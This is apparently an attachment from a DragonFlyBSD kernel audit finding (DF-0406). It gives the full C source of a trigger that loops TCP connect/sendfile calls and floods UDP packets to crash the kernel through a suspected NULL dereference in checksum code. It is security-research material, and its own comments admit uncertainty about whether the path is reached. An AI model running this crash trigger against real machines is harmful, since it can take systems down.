DragonFlyBSD Kernel Audit
DF-0406 / df_0406_sf.c
← back to finding ↓ download raw
/*
 * DF-0406 alt: sendfile-based trigger.
 *
 * sendfile() can create multi-mbuf TX chains where the file-data mbufs are
 * separate from the protocol-header mbufs.  With HW checksum offload
 * disabled, in_delayed_cksum is called on the resulting chain.  If the
 * header mbuf ends near offset = IP_HDR + 6 (UDP) or IP_HDR + 16 (TCP) we
 * get the straddle condition and the unchecked m_pullup NULL deref.
 *
 * Build:  cc -O2 -Wall -o df_0406_sf df_0406_sf.c
 * Run:    ./df_0406_sf
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
    const char *dst_ip = (argc > 1) ? argv[1] : "10.0.2.2";
    int dst_port       = (argc > 2) ? atoi(argv[2]) : 9;
    struct sockaddr_in dst;
    int s, fd, i;
    off_t off;

    memset(&dst, 0, sizeof dst);
    dst.sin_family = AF_INET;
    dst.sin_port   = htons(dst_port);
    if (inet_pton(AF_INET, dst_ip, &dst.sin_addr) != 1) {
        perror("inet_pton"); return 2;
    }
    /* Create a temp file */
    fd = open("/tmp/df0406.data", O_CREAT|O_TRUNC|O_RDWR, 0644);
    if (fd < 0) { perror("open"); return 2; }
    {
        char buf[64*1024];
        memset(buf, 'F', sizeof buf);
        for (i = 0; i < 32; i++)
            write(fd, buf, sizeof buf);
    }
    lseek(fd, 0, SEEK_SET);

    if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("socket"); return 2;
    }
    /* non-blocking connect to discard port - we expect it to fail but
     * the connect path itself exercises tcp TX which goes through
     * ip_output -> in_delayed_cksum (with HW csum off). */
    int flags = 1;
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &flags, sizeof flags);

    printf("DF-0406 alt: TCP connect/sendfile stress to %s:%d\n",
           dst_ip, dst_port);
    for (i = 0; i < 200; i++) {
        int c = socket(AF_INET, SOCK_STREAM, 0);
        if (c < 0) break;
        /* connect may fail (RST from 10.0.2.2:9) but TX of SYN/SYN-ACK
         * exercises ip_output. With -txcsum, the TCP csum is computed
         * in software via in_delayed_cksum. */
        connect(c, (struct sockaddr*)&dst, sizeof dst);
        off = 0;
        /* sendfile will fail (not connected) but TX path may be probed */
        sendfile(fd, c, off, 4096, NULL, NULL, 0);
        close(c);
    }
    /* Now try UDP */
    s = socket(AF_INET, SOCK_DGRAM, 0);
    char b[64];
    memset(b, 'U', sizeof b);
    for (i = 0; i < 50000; i++) {
        sendto(s, b, (i % 64) + 1, MSG_DONTWAIT,
               (struct sockaddr*)&dst, sizeof dst);
    }
    close(s);
    close(fd);
    unlink("/tmp/df0406.data");
    printf("done\n");
    return 0;
}